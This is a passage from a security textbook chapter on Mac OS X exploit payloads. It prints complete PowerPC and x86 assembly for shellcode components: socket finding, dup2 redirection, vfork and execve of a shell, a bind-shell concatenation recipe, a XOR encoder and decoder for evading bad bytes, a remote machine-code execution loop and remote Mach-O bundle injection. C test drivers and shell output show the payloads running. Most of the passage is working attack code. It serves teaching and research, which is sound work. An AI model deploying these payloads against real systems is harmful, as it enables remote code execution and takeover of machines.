    mtctr     r31               ; set ctr to 0

L_peek:

    mfctr     r3

    subi      r3, r3, 1         ; r3 = socket file descriptor

    andi.     r3, r3, 0x3ff     ; stay below 1024 (Darwin’s FD_SETSIZE)

    mtctr     r3
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    stw       r31, -4(r1)       ; initialize key to NULL

    addi      r4, r1, -4        ; r4 = stack buffer

    li        r5, 4             ; r5 = 4

    li        r6, 0x82          ; r6 = MSG_PEEK | MSG_DONTWAIT

    li        r7, 0

    li        r8, 0

    li        r0, 29

    sc                          ; recvfrom(s, buf, 4, 0x82, 0, 0)

    xor       r31, r31, r31     ; fall through to comparison on error

    ;; Compare 4-bytes read to key     

    lwz       r28, -4(r1)

    cmplw     r28, r27

    bne       L_peek

    ;;; At this point our socket fd is in ctr, really read key and 

    ;;; continue

    mfctr     r3

    addi      r4, r1, -4

    sub       r5, r1, r4

    addi      r0, r5, -1        ; r0 = SYS_read = 3

    sc                          ; read(s, buf, 4)

    tweq      r4, r4

next:

dup2_std_fds
After our payload has established or found our TCP connection, we would like 
to actually do something with it. In most cases you’d like to execute an operat-
ing system shell so that you may interact remotely with the target system. To 
do that, we must fi rst assign your socket to the standard fi le descriptors so that 
the executed shell (or any other process) takes input from the socket and writes 
its output and errors back to the same socket. 

In UNIX the standard input, output, and error fi le descriptors have fi xed 
values 0, 1, and 2, respectively. The following component issues the dup2() 
system call to close and deallocate these existing fi le descriptors and duplicate 
the socket fi le descriptor for each of them.

;;;

;;; dup2_std_fds - Duplicate file descriptor in ctr register to stdin,

;;;     stdout, and stderr

;;; 

dup2_std_fds:

    li        r30, 0x2d01

    srawi     r0, r30, 7

    li        r30, 0x666

    srawi     r30, r30, 9
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    mfctr     r3

    addi      r4, r30, -1

    .long     0x44ffff02     ; dup2(sock, 2)

    .long     0x7c842008

    mfctr     r3

    addi      r4, r30, -2

    .long     0x44ffff02     ; dup2(sock, 1)

    .long     0x7c842008

    mfctr     r3

    addi      r4, r30, -3

    .long     0x44ffff02     ; dup2(sock, 0)

    .long     0x7c842008

vfork 
As described earlier, you must call vfork() prior to calling execve() in any multi-
threaded process. The following payload component detects whether the process 
is multithreaded and executes vfork() only if necessary. The component calls 
execve() with invalid arguments to detect whether the process is multithreaded. 
If it is multithreaded, execve() will return ENOTSUP since it was not called 
in a vforked() child process. If the process is not multithreaded, execve() will 
return EFAULT since the path pointer points to an illegal address, NULL. The 
component then calls vfork()only if execve() returned ENOTSUP.

It is important to remember that the vfork() component must be followed 
immediately by a component that calls execve() but no other system calls. The 
vfork() component does not distinguish between the parent and child, so both 
will continue to execute the following component. vfork() suspends the par-
ent process until the child process executes execve() or exits. The parent will 
continue to the execve() system call and fail again with ENOTSUP. This allows 
us to place another component that will be executed only by the parent process 
after the component that calls execve(). 

;;;

;;; vfork - Call vfork() if necessary.

;;;

.globl _main

_main:

    li      r0, 59

    li      r3, 0

    li      r4, 0

    li      r5, 0

    sc                      ; execve(NULL, NULL, NULL)

    cmpli   cr0, r3, 45     ; system call will always fail

    bne     L_done          ; if errno != ENOTSUP, skip vfork()
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    li      r0, 66

    sc                      ; vfork()

    nop

L_done:

Testing Simple Components
You can test an arbitrary payload component by simply reading it into execut-
able memory and executing it.  The following program (test_component) shows 
how to do this.

/*

 * test_component: Read in a component and execute it

 */

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

int main(int argc, char* argv[])

{

    char* buf = malloc(10000);

    int f, n;

    if (argc < 2 || !strcmp(argv[1], “-”)) {

        f = 0;

    }

    else {

        if ((f = open(argv[1], O_RDONLY, 0)) < 0) {

            perror(“open”);

            exit(EXIT_FAILURE);

        }

    }

    

    if ((n = read(f, buf, 100000)) < 0) {

        perror(“read”);

        exit(EXIT_FAILURE);

    }

    printf(“==> Read %d bytes, executing component…\n”, n);

    

    ((void(*)(void))buf)();

    printf(“==> Done.\n”);

}

Now we will demonstrate how to use test_component to test and run some of 
the simple components. This works well for the components that can be tested 
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individually, such as execve_binsh, system, tcp_connect, and tcp_listen, but for 
the others that need to be part of a composite payload, see the next section.

First you need to assemble a component into a standalone binary fi le. On 
PowerPC, the GNU assembler outputs fi les in Mach-O format, so use a small 
script (o2bin.pl, which is included in this book’s source-code package) to extract 
the payload from the Mach-O object fi le and store it in a raw binary fi le.

% cc –c execve_binsh.s
% o2bin.pl execve_binsh.o execve_binsh.bin

Be sure to use the C compiler to assemble your components, because that 
will also pass them through the C preprocessor, allowing you to make use of 
macros you’ll use in components that require parameters to be specifi ed, such 
as decode_longxor.

You can now use test_component to run this component as shown below.

% test_component execve_binsh.bin 
==> Read 52 bytes, executing component…
sh-3.2$ exit
exit

Putting Together Simple Payloads
We have written each of the components as independent units that are intended 
be combined with each other to form complete functional payloads. This is 
done by concatenating and transforming the assembled component binaries. 
Many of the components suggest a simple linear order. For example, a TCP port 
binding shellcode payload can be constructed by concatenating the tcp_listen, 
dup2_std_fds, and execve_binsh components in that order. If you want to build 
a self-decoding version of the payload, encode the original payload through the 
encode_longxor encoder and prepend the decode_longxor component.

In the previous section we demonstrated how to use test_component to run 
a single component. You can also use it to test composite payloads, concat-
enating the source components and then running the composite payload with 
test_component.

% cat tcp_listen.bin dup2_std_fds.bin execve_binsh.bin > bindshell.bin

% test_component bindshell.bin

…

You can use a similar approach to test encoded payloads. To do so, you need 
to transform a composite payload with the encode_longxor encoder. Using the 
encoder is simple. The fi rst argument is the fi lename containing the raw payload. 
Subsequent arguments are byte values that should be avoided in the encoded 

95363c09.indd   23795363c09.indd   237 1/25/09   4:42:28 PM1/25/09   4:42:28 PM



238 Part III ■ Exploitation

output. The encoder prints out the 32-bit LongXOR key value that was used to 
encode the payload. The encoded payload is stored in a fi le named by append-
ing .xor to the input fi lename. 

Now that you have a raw payload in payload.bin, you can encode it with the 
following command.

% longxor_encoder execve_binsh.bin 0x00 0xff 0x09 0x0a 0x0b 0x0c 
0x0d   0x20

0x01010304

The following command assembles the decoder, defi ning the constants for 
the XOR key and payload size.

% stat –f %z execve_binsh.bin.xor
52
% cc –c –DKEY=0x01010304 –DSIZE=52 decode_longxor.s

Finally, you can append the decoder stub and the encoded payload.

% o2bin.pl decode_longxor.o decode_longxor.bin
% cat decode_longxor.bin execve_binsh.bin.xor > decode_longxor-
execve_binsh.bin

You now have a self-decoding version of the execve_binsh payload. You can 
test the entire payload by using the test_component utility:

% test_component decode_longxor-execve_binsh.bin 
==> Read 132 bytes, executing component…
sh-3.2$ exit
exit

Intel x86 Exploit Payloads

There are two common syntaxes for x86 assembly language: AT&T and Intel. 
The GNU assembler, like most other GNU tools, uses AT&T syntax, which 
can be quite confusing, especially to a beginner assembly programmer. For 
that reason and because we prefer Intel syntax, we will describe the Netwide 
Assembler (NASM), which is also included with Mac OS X.

Intel x86 has a very complex instruction set and explaining it fully is well 
beyond the scope of this book. For a great introduction to and an in-depth 
explanation of the x86 assembly, consult The Art of Assembly Language (No Starch, 
2003). For the payloads in this chapter, we aim only to be moderately tricky, not 
so clever that it is not clear what we are doing. We will explain adequate use of 
x86 tricks to optimize the code for size and encoding byte values.
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The x86 architecture is a stack-oriented complex instruction set computer 
(CISC) architecture. There is a limited number of registers, and most code will 
make heavy use of the stack for temporary storage. Table 9-2 summarizes the 
available user registers and how they are often used. While many instructions 
implicitly use specifi c registers, all except the stack-pointer (ESP) register may 
be used as general-purpose registers depending on the software conventions 
in use.

Table 9-2: x86 Registers

REGISTER DESCRIPTION

EAX Accumulator register; general-purpose

EBX Base register; used by position-independent code

ECX Count register; object pointer; general-purpose

EDX Data register; general-purpose

ESI Source register for string instructions

EDI Destination register for string instructions

EBP Stack frame base pointer

ESP Stack register

Instruction operands may specify immediate values, registers, or indirect 
memory references. The indirect memory references may specify offsets and even 
scaling of offsets relative to a base address contained in a register. Most instruc-
tions can take two register operands or one register and one memory operand. 
Table 9-3 lists some common x86 instructions and how they are used.

Table 9-3: Common x86 Instructions

INSTRUCTION FORMAT DESCRIPTION

mov mov dest, src Moves source reg/mem to destreg/mem

add add dest, src Adds src to dest and stores result in dest

sub sub dest, src Subtracts src from dest, store result 
in dest

dec dec dest Decrements destination

inc inc dest Increments destination

cmp cmp dest, src Subtracts src from dest, but does not 
store

mul mull src Multiplies accumulator (EAX) by src

Continued
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INSTRUCTION FORMAT DESCRIPTION

imul imul src
imul src, immed
imul dest, src, immed
imul dest, src

Signed multiply into accumulator or dest

xor xor dest, src Exclusive OR

push push src Pushes src reg/mem onto stack

pop pop dst Pops value from stack into reg/mem

pusha pusha Pushes all user registers onto stack

popa popa Pops all user registers from stack

ja/jb ja/jb label Jumps if above or below (unsigned)

jl/jg jl/jg label Jumps if less than or greater than 
(signed)

jmp jmp label Unconditional jump

call call label Pushes return address, calls function

ret ret imm Returns from subroutine, adjusts stack 
pointer

cld cld Clears direction fl ags

lodsb lodsb Loads string byte into accumulator

lodsd lodsd Loads string dword into accumulator

ror ror dest, immed Rotates dest register by immed bits

int int imm Issues interrupt

There are multiple common ways to execute a system call on x86, including 
through an interrupt, a call gate, and the sysenter instruction. Mac OS X sup-
ports system calls through both interrupt 0x80 and the sysenter instruction. 
The int 0x80 method is more compact, and that is what you will use here. The 
following code shows how to execute a single system call. The arguments to 
the system call are pushed onto the stack in reverse order, just as if you were 
calling a function. The system call handler expects there to be four bytes of 
space on the stack before the arguments, so you push an extra “dummy” argu-
ment onto the stack as the fi rst argument. You issue the system call by placing 
the desired system call number in the EAX register and executing the int 0x80 
instruction. Finally, you must adjust the stack pointer to pop the arguments 
off of the stack.

BITS 32

Table 9-3 (continued)
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GLOBAL _main

_main:

    push     dword 13     ; exit status = 13

    push     dword 0      ; padding

    mov      eax, 1       ; SYS_exit

    int      0x80

    add      esp, 8

    ret

For the discussion on Intel x86 payloads, rather than show the same func-
tionality written for another architecture, we are going to skip over the simpler 
payload components and begin with new, more advanced functionality. At the 
system call level, Mac OS X x86 is almost identical to FreeBSD (and the other x86 
BSD operating systems). The system call numbers, arguments, and semantics 
are all the same. Therefore, we will not discuss the simpler payloads on x86 here, 
as they are discussed many times over in other books and in materials online. 
For a good discussion on x86 BSD exploit payloads and shellcode, consult The 
Shellcoder’s Handbook. We will center our discussion of x86 payloads on two 
higher-level exploit payload components: a remote code-execution server and 
remote Mach-O bundle injection.

remote_execution_loop
The fi rst Intel x86 payload component will be a remote code execution server. 
This component is intended to be run after a socket-establishment component 
(tcp_connect, tcp_listen, or tcp_fi nd) and is written as a function taking that 
socket as its singular argument. This conceptually simple component frees you 
from size and byte-value constraints in the payloads and gives you complete 
fl exibility in subsequent stages. The executed fragment is given control of the 
socket, so it may read and write additional data using it or establish additional 
connections. Later in this chapter we will show a complex fragment designed 
to be executed through this server that downloads and injects a Mach-O bundle 
into the process.

The client-server protocol for using this component is very simple. First the 
client (the attacker) sends a 4-byte host-order integer specifying the size of the 
machine-code fragment that will be sent. The server receives this size and uses 
the mmap() system call to allocate at least that much executable memory directly 
from the operating system. The client then sends the machine-code fragment. 
The server reads this into the mmap()’d memory buffer and executes it. The 
server assumes that machine-code fragments will be written as functions taking 
a single argument (the socket) and returning an integer value. The fragment 
must be careful to preserve the ESP and EBP registers when it returns control to 
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the server loop. The server fi nally sends back to the client the value returned by 
the executed fragment. At this point both client and server loop in this fashion 
until the client sends a zero for a fragment size, at which point both the client 
and the server terminate the loop.

;;;

;;; remote_execution_loop - A remote machine code execution loop

;;;

BITS 32

GLOBAL _remote_execution_loop

;;; --------------------------------------------------------------------

;;; remote_execution_loop(int fd)

;;;

;;; A remote machine code execution loop.

;;;

;;; Arguments:

;;; fd - File descriptor to read code from and write status to

;;; --------------------------------------------------------------------

_remote_execution_loop:

    push    ebp

    mov     ebp, esp

    sub     esp, byte 12

    mov     esi, [ebp+8]  ; socket

.read_eval_write:

    xor     ecx, ecx      ; clear ecx

    mul     ecx           ; clear eax and edx

    ;; Read a 4-byte size of code fragment to execute

    mov     al, 4

    push    eax           ; nbyte

    lea     edi, [ebp-4]

    push    edi           ; buf

    push    esi           ; s

    push    eax

    dec     eax

    int     0x80

    jb      .return     

    add     esp, byte 16

    cmp     eax, ecx      ; A zero-read signals termination

    je      .return

    mov     ecx, [ebp-4]

    xor     eax, eax

    cmp     ecx, eax
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    je      .return       ; A zero value signals termination

    ;; mmap memory

    xor     eax, eax

    push    eax           ; 0

    dec     eax

    push    eax           ; -1

    inc     eax

    mov     ax, 0x1002

    push    eax           ; (MAP_ANON | MAP_PRIVATE)

    xor     eax, eax

    mov     al, 7

    push    eax           ; (PROT_READ | PROT_WRITE | PROT_EXEC)

    push    ecx           ; len

    push    edx           ; addr

    push    edx           ; spacer

    mov     al, 197

    int     0x80

    jb      .return       ; Terminate on error

    add     esp, byte 28

    mov     [ebp-8], eax  ; memory buffer

    ;; read fragment from file descriptor into mmap buffer

    mov     edi, eax

.read_fragment:

    xor     eax, eax

    push    ecx           ; nbytes

    push    edi           ; buf

    push    esi           ; s

    push    eax

    mov     al, 3

    int     0x80

    jb      .return

    add     esp, byte 16

    add     edi, eax      ; Add bytes read to buf pointer

    sub     ecx, eax      ; Subtract bytes read from total

    jnz     .read_fragment

    ;; Evaluate the buffer as machine code by calling it as a function

    ;; with the socket as its single argument

    pusha                 ; Save state in case it gets clobbered

    push    esi

    mov     eax, [ebp-8]

    call    eax

    mov     [ebp-12], eax ; Save returned value

    popa                  ; Restore all registers

    ;; Unmap memory

    xor     eax, eax

    push    dword [ebp-4]
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    push    dword [ebp-8]

    push    eax

    mov     al, 73

    int     0x80

    jb      .return

    add     esp, byte 12

    ;; Write return value to socket

    xor     eax, eax

    mov     al, 4         ; SYS_write and nbytes

    push    eax           ; nbytes

    lea     edi, [ebp-12] ; buf

    push    edi

    push    esi           ; s

    push    eax

    int     0x80

    jb      .return

    add     esp, byte 16

    ;; Loop until an error or read zero

    jmp     .read_eval_write

.return

    leave

    ret

inject_bundle
In all of the previous payloads, we used operating-system functionality by 
executing system calls directly because the system call numbers are static, and 
we can therefore make the payloads execute independent of the target’s and 
the payload’s locations in memory. The system calls provide enough high-level 
functionality to communicate over the network and execute programs, but 
sometimes it would be nice to use other functionality provided in Mac OS X 
libraries and frameworks. To do this, the payload needs to be able to look up 
symbols in loaded libraries either by traversing the symbol tables in all loaded 
libraries or by resolving only the functions to do this in dyld. Mac OS X sup-
ports the dlopen() runtime linking API that is common in other UNIX-based 
operating systems. The API consists of dlopen() to load shared libraries, dlsym() 
to resolve symbols within them, and dlclose() to unload libraries that are no 
longer needed. This payload component will implement a minimal version of 
dlsym() that it uses on dyld to resolve the real versions of these functions. The 
macho_resolve() function can be used with any other loaded library; however, 
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since dyld is always loaded at a constant address in memory, the payload will 
usually use macho_resolve() with it.

To demonstrate the resolving algorithm, we must fi rst explain some details 
of the Mach-O executable format. A Mach-O (Mach Object) library in memory 
is almost identical to its on-disk format. There are only a few differences. When 
a Mach-O executable image is loaded into memory, its segments are typically 
loaded on page-aligned boundaries, whereas in the fi le the segments take up 
only as much space as necessary. Also, a Mach-O library or executable can be 
stored in a “fat” (Universal binaries) format, containing copies of the Mach-O 
image for multiple architectures. The in-memory version contains just the 
Mach-O image for the host machine’s architecture.

The Mach-O format consists of a Mach-O header followed by a number of 
load commands. The header format is shown in Table 9-4. Each load command 
that follows the header begins with the same two fi elds, cmd and cmdsize, that 
defi ne the type and size of the load command, respectively. Use those fi elds 
to iterate over the load commands and fi nd the ones that we are interested 
in. To resolve symbols, you need to know about only the LC_SEGMENT and 
LC_SYMTAB load commands.

Table 9-4: Mach-O Header Format

OFFSET NAME DESCRIPTION

00 magic Magic number identifying Mach-O format

04 cputype CPU type code

08 cpusubtype Machine type code

0C fi letype Type of Mach-O fi le (executable, dylib, bundle, etc.)

10 ncmds Number of load commands that follow

14 sizeofcmds Size in bytes of all load commands

18 fl ags Flags

The LC_SEGMENT load command given in Table 9-5 describes a segment 
from the Mach-O fi le that needs to be loaded in memory. It gives the name, 
address, size, offset, and memory protection of that segment. The __LINKEDIT 
segment is a special segment that contains the symbol information that you 
are after. As you iterate through load commands, there will be multiple LC_
SEGMENT load commands, and you will hash the segname string to fi nd the 

95363c09.indd   24595363c09.indd   245 1/25/09   4:42:29 PM1/25/09   4:42:29 PM



246 Part III ■ Exploitation

__LINKEDIT segment. Once you fi nd it, you will record the base virtual address 
where the segment is loaded and the fi le offset from which it was loaded.

Table 9-5: LC_SEGMENT Load-Command Format

OFFSET NAME DESCRIPTION

00 cmd Load command type (LC_SEGMENT)

04 cmdsize Size in bytes, including sections that follow

08 segname ASCII string name of segment

18 vmaddr Load address of segment

1C vmsize Size in memory of segment

20 fi leoff File offset where segment begins

24 fi lesize Bytes of fi le to map, starting from fi leoff

28 maxprot Maximum VM protection

2C initprot Initial VM protection

30 nsects Number of sections that follow in segment

34 fl ags Flags

The LC_SYMTAB load command given in Table 9-6 describes where to fi nd 
the string and symbol tables within the __LINKEDIT segment. The offsets given 
are fi le offsets, so you subtract the fi le offset of the __LINKEDIT segment to 
obtain the virtual memory offset of the string and symbol tables. Adding the 
virtual memory offset to the virtual-memory address where the __LINKEDIT 
segment is loaded will give you the in-memory location of the string and sym-
bol tables.

Table 9-6: LC_SYMTAB Load-Command Format

OFFSET NAME DESCRIPTION

00 cmd Load command type (LC_SYMTAB)

04 cmdsize Size in bytes of load command

08 symoff Symbol table offset within LINKEDIT segment

0C nsyms Number of symbol table entries

10 stroff String table offset within LINKEDIT segment

1C strsize Size in bytes of string table
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In order to resolve a needed symbol into a virtual memory address, the pay-
load component iterates through the array of symbol-table entries, examining 
the string name each refers to for a match. Using an actual string comparison 
for identifying segment and symbol names would require the entire symbol 
names to be embedded in the payloads. This unnecessarily increases the size 
of the payloads, especially the early-stage payloads where size defi nitely mat-
ters. Instead, the payload component uses a compact hashing function so that 
it can refer to symbols by 32-bit hashes. The hashing function and technique 
are based on the Last Stage of Delirium’s Windows Assembly Components. 
The hash for a given string is generated by performing the following for each 
character c in it.

hash = (hash >> 13) | (hash << 19) + c

Because this hashing function can be implemented compactly using the x86 
rotate instruction, we will refer to it as the ror13 hash.

The bundle-injection payload component is shown in the following code. 
Control starts in the inject_bundle subroutine, which reads a Mach-O bundle 
over the given socket and writes it into freshly mmap()’d memory. At this point 
the component must use some high-level functions from dyld rather than just 
system calls. To do so, it resolves the functions using the dyld_resolve subrou-
tine, which uses the symbol-resolution techniques that we just described in the 
preceding paragraphs. After receiving the entire bundle, the component resolves 
and calls NSCreateObjectFileImageFromMemory() to load the bundle properly 
into memory. The component proceeds to resolve and call NSLinkModule() to 
link the bundle into the running process. Finally the component resolves and 
calls the run() function exported from the bundle.

;;;

;;; MacOS X Remote Bundle Injection

;;;

BITS 32

GLOBAL _inject_bundle

;;;

;;; Skip straight to inject_bundle when we assemble this as bin file

;;;

jmp     _inject_bundle

;;; --------------------------------------------------------------------

;;; Constants

;;; --------------------------------------------------------------------

%define MAP_ANON    0x1000

%define MAP_PRIVATE 0x0002
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%define PROT_READ   0x01

%define PROT_WRITE  0x02

%define NSLINKMODULE_OPTION_BINDNOW 0x1

%define NSLINKMODULE_OPTION_PRIVATE 0x2

%define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4

;;; --------------------------------------------------------------------

;;; ror13_hash(string symbol_name)

;;;

;;; Compute the 32-bit “ror13” hash for a given symbol name.  The hash

;;; value is left in the variable hash

;;; --------------------------------------------------------------------

%macro ror13_hash 1

  %assign hash 0

  %assign c 0

  %strlen len %1

 

  %assign i 1

  %rep len

    %substr c %1 i

    %assign hash ((hash >> 13) | (hash << 19)) + c

    %assign i i + 1

  %endrep

%endmacro

;;; --------------------------------------------------------------------

;;; dyld_resolve(uint32_t hash)

;;;

;;; Lookup the address of an exported symbol within dyld by “ror13” 

hash.

;;; 

;;; Arguments:

;;;     hash - 32-bit “ror13” hash of symbol name

;;; --------------------------------------------------------------------

_dyld_resolve:

    mov        eax, [esp+4]

    push       eax

    push       0x8fe00000

    call       _macho_resolve

    ret        4

;;; --------------------------------------------------------------------

;;; macho_resolve(void* base, uint32_t hash)

;;;

;;; Lookup the address of an exported symbol within the given Mach-O

;;; image by “ror13” hash value.

;;; 

;;; Arguments:

;;;     base - base address of Mach-O image
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;;;     hash - 32-bit “ror13” hash of symbol name

;;; --------------------------------------------------------------------

_macho_resolve:

    push       ebp

    mov        ebp, esp

    sub        esp, byte 12

    push       ebx

    push       esi

    push       edi

    mov        ebx, [ebp+8]          ; mach-o image base address

    mov        eax, [ebx+16]         ; mach_header->ncmds

    mov        [ebp-4], eax          ; ncmds

    add        bl, 28                ; Advance ebx to first load command

.loadcmd:

    ;; Load command loop

    xor        eax, eax

    cmp        dword [ebp-4], eax

    je         .return

    inc        eax

    cmp        [ebx], eax

    je         .segment

    inc        eax

    cmp        [ebx], eax

    je         .symtab

.next_loadcmd:     

    ;; Advance to the next load command

    dec        dword [ebp-4]

    add        ebx, [ebx+4]

    jmp        .loadcmd

.segment:

    ;; Look for “__TEXT” segment

    cmp        [ebx+10], dword ‘TEXT’

    je         .text

    ;; Look for “__LINKEDIT” segment

    cmp        [ebx+10], dword ‘LINK’

    je         .linkedit

    jmp        .next_loadcmd

.text:

    mov        eax, [ebx+24]

    mov        [ebp-8], eax          ; save image preferred load address

    jmp        .next_loadcmd

.linkedit:

    ;; We have found the __LINKEDIT segment

    mov        eax, [ebx+24]         ; segcmd->vmaddr

    sub        eax, [ebp-8]          ; image preferred load address

    add        eax, [ebp+8]          ; actual image load address
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    sub        eax, [ebx+32]         ; segcmd->fileoff

    mov        [ebp-12], eax         ; save linkedit segment base

    jmp        .next_loadcmd

.symtab:

;; Examine LC_SYMTAB load command

    mov        ecx, [ebx+12]         ; ecx = symtab->nsyms

.symbol:

    xor        eax, eax

    cmp        ecx, eax

    je         .return

    dec        ecx

    imul       edx, ecx, byte 12     ; edx = index into symbol table

    add        edx, [ebx+8]          ; edx += symtab->symoff

    add        edx, [ebp-12]         ; adjust symoff relative to 

linkedit

    mov        esi, [edx]            ; esi = index into string table

    add        esi, [ebx+16]         ; esi += symtab->stroff

    add        esi, [ebp-12]         ; adjust stroff relative to 

linkedit

    ;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c

    xor        edi, edi

    cld

.hash:

    xor        eax, eax

    lodsb

    cmp        al, ah

    je         .compare

    ror        edi, 13

    add        edi, eax

    jmp        .hash

.compare:

    cmp        edi, [ebp+12]

    jne        .symbol

    mov        eax, [edx+8]          ; return symbols[ecx].n_value

    sub        eax, [ebp-8]          ; adjust to actual load address

    add        eax, [ebp+8]

.return:     

    pop        edi

    pop        esi

    pop        ebx

    leave

    ret        8
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;;; --------------------------------------------------------------------

;;; inject_bundle(int filedes, size_t size)

;;; 

;;; Read a Mach-O bundle from the given file descriptor, load and link

;;; it into the currently running process.

;;; 

;;; Arguments:

;;;     filedes - file descriptor to read() bundle from

;;;     size    - number of bytes to read from file descriptor

;;; --------------------------------------------------------------------

_inject_bundle:

    push       ebp

    mov        ebp, esp

    sub        esp, byte 8

    mov        esi, [ebp+8]          ; arg0: filedes

.read_size:

    ;; Read a 4-byte size of bundle to read

    xor        eax, eax

    mov        al, 4

    push       eax                   ; nbyte

    lea        edi, [ebp-4]

    push       edi                   ; buf

    push       esi                   ; s

    push       eax

    dec        eax

    int        0x80

    jb         .read_return

    add        esp, byte 16

    cmp        eax, ecx              ; A zero-read signals termination

    je         .read_return

    mov        ecx, [ebp-4]

    xor        eax, eax

    cmp        ecx, eax

    je         .read_return          ; A zero value signals termination

    jmp        .mmap

.read_return:

    jmp        .return

.mmap:

    ;; mmap memory

    xor        eax, eax

    push       eax

    push       -1

    push       (MAP_ANON | MAP_PRIVATE)

    push       (PROT_READ | PROT_WRITE)

    push       ecx                   ; size

    push       eax
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    push       eax                   ; spacer

    mov        al, 197

    int        0x80

    add        esp, byte 28

    jb         .return

    mov        edi, eax              ; memory buffer

    mov        [ebp-8], edi

    ;; read bundle from file descriptor into mmap’d buffer

.read_bundle:

    xor        eax, eax

    push       ecx                   ; nbyte

    push       edi                   ; buf

    push       esi                   ; filedes

    push       eax                   ; spacer

    mov        al, 3

    int        0x80

    jb         .return

    add        esp, byte 16

    add        edi, eax

    sub        ecx, eax

    jnz        .read_bundle

    mov        edi, [ebp-8]          ; load original memory buffer

    ;; load bundle from mmap’d buffer

    lea        eax, [ebp-8]

    push       eax                   ; &objectFileImage

    push       dword [ebp+12]        ; size

    push       edi                   ; addr

    ror13_hash “_NSCreateObjectFileImageFromMemory”

    push       hash

    call       _dyld_resolve

    call       eax

    cmp        al, 1

    jne        .return

    ;; link bundle from object file image

    xor        eax, eax

    push       eax

    mov        al, (NSLINKMODULE_OPTION_PRIVATE |  

                    NSLINKMODULE_OPTION_RETURN_ON_ERROR | 

                    NSLINKMODULE_OPTION_BINDNOW) 

    push       eax

    push       esp                   ; “”

    push       dword [ebp-8]

    ror13_hash “_NSLinkModule”

    push       hash

    call       _dyld_resolve

    call       eax
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    ;; Locate load address of module.  NSModule’s second pointer

    ;; is a pointer to a structure where the modules load address

    ;; is at offsets 0x24 and 0x38.

    mov        eax, [eax+4]

    mov        eax, [eax+0x24]

    ;; Call the bundle’s void run(void) function.

    ror13_hash “_run”

    push       hash

    push       eax

    call       _macho_resolve

    push       esi

    call       eax

    add        esp, 4

.return:

    leave

    ret        4

The injected bundle is given control at three points. As the bundle is linked, 
any defi ned constructors will be called. After linking, our bundle injector explic-
itly calls the run() function with the connected socket as an argument. This will 
allow the bundle to perform any additional communication that it needs over 
that established connection. The run() function returns an integer value that 
will be sent back to the remote client software. Finally, any defi ned destructors 
in the bundle will be called when the process exits cleanly.

The following example code shows the bundle-injection interface. The function 
names init() and fi ni() are not signifi cant; any names can be used as long as they 
are declared with the constructor and destructor attributes, respectively. The 
run() function name, however, is signifi cant since the bundle injector looks for 
it specifi cally. If a run() function is not defi ned, the bundle injector will crash.

The injected bundles can use any existing frameworks on the remote system. 
This allows you to write high-level payloads that perform interesting function-
ality. For example, you can use the QTKit QuickTime framework to capture 
images from the user’s iSight camera. The possibilities are endless, but we will 
demonstrate some interesting ideas in Chapter 11, “Injection, Hooking, and 
Swizzling.”

/*

 * Simple bundle to demonstrate remote bundle injection.

 *

 * Compile with: cc -bundle -o bundle.bundle bundle.c

 */

#include <stdio.h>

extern void init(void) __attribute__ ((constructor));

void init(void)

{
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   printf(“In init()\n”);

}

int run(int fd)

{

    printf(“In run()\n”);

    return 0xdeadbeef;

}

extern void fini(void) __attribute__ ((destructor));

void fini(void)

{

    printf(“In fini()\n”);

}

Testing Complex Components
Just like any complex software development, it is important to test your pay-
loads before they are used in an exploit. A good test driver will simulate injected 
execution and allow you to test and debug the payloads in a controlled, stable 
environment. The following code is our test driver to test both the remote_execu-
tion_loop and inject_bundle components. It creates two threads, one for the 
server and one for the client. The server thread immediately begins executing 
the remote_execution_loop component. The client thread sends over a short 
fragment that is simply a function that returns 0xdeadbeef as a quick test of 
the remote_execution_loop. If that succeeds, the client thread sends over the 
inject_bundle component and bundle.bundle. The run() function in the previous 
code listing returns 0xdeadbeef and the client thread checks the return value 
to make sure it sees this value. If you run this test driver and both the short-
fragment and bundle-injection tests succeed, you can be fairly certain that the 
payload components will work in real-world exploits, as will be demonstrated 
in the next chapter. 

#include <stdio.h>

#include <stdlib.h>

#include <err.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/select.h>

#include <pthread.h>
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#include <fcntl.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/uio.h>

#include <sys/mman.h>

#include <unistd.h>

#include <mach/mach.h>

#include <mach/mach_error.h>

#include <mach/mach_vm.h>

#include <mach-o/dyld.h>

#include <mach-o/loader.h>

#include <mach-o/nlist.h>

extern int remote_execution_loop(int socket);

void* server()

{

    int s = unc(0, INADDR_ANY, 1234);

    return (void*)remote_execution_loop(s);

}

int test_remote_execution_loop(int s)

{

    /*

     * Machine code fragment of function to return 0xdeadbeef

     */

    char frag[] =

      “\x55\x89\xe5\x81\xec\x20\x00\x00\x00\x53\x56\x57\xb8\xef\xbe”

      “\xad\xde\x5f\x5e\x5b\xc9\xc2\x04\x00”;

    int n = sizeof(frag);

    fprintf(stderr, “==> test_remote_execution_loop: executing simple 

component to return 0xdeadbeef\n”);

    

    // Send machine code fragment to return 0xdeadbeef

    fprintf(stderr, “ -> Sending size…\n”);

    if (send(s, (char*)&n, sizeof(n), 0) < 0)

        err(EXIT_FAILURE, “send”);

    fprintf(stderr, “ -> Sending code…\n”);

    if (send(s, frag, sizeof(frag), 0) < 0)

        err(EXIT_FAILURE, “send”);

    fprintf(stderr, “ -> Receiving return value…\n”);

    if (recv(s, (char*)&n, sizeof(n), 0) < 0)

        err(EXIT_FAILURE, “read”);
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    fprintf(stderr, “ -> Component returned: 0x%x\n”, n);

 

    return !(n == 0xdeadbeef);

}

int test_inject_bundle(int s)

{

    int n, fd, ret;

    struct stat stat_buf;

    mach_vm_size_t size;

    char* mem;

    

    /*

     * Send inject_bundle to remote_execution_loop

     */

    

    /* Open file */

    if ((fd = open(“inject_bundle.bin”, O_RDONLY)) < 0) {

        err(EXIT_FAILURE, “open”);

    }

    

    /* Get size of file */

    if (fstat(fd, &stat_buf) < 0) {

        err(EXIT_FAILURE, “fstat”);

    }

    size = stat_buf.st_size;

    mem = malloc(size);

    /* Read file into memory */

    if ((n = read(fd, mem, size)) < size) {

        err(EXIT_FAILURE, “read”);

    }

    close(fd);

   

    fprintf(stderr, “==> test_inject_bundle: inject bundle to return 

0xdeadbeef\n”);

    fprintf(stderr, “ => Executing inject_bundle.bin in remote_

execution_loop…\n”);

 

    /* Send size */

    fprintf(stderr, “ -> Sending size…\n”);

    if (send(s, (char*)&size, 4, 0) < 0)

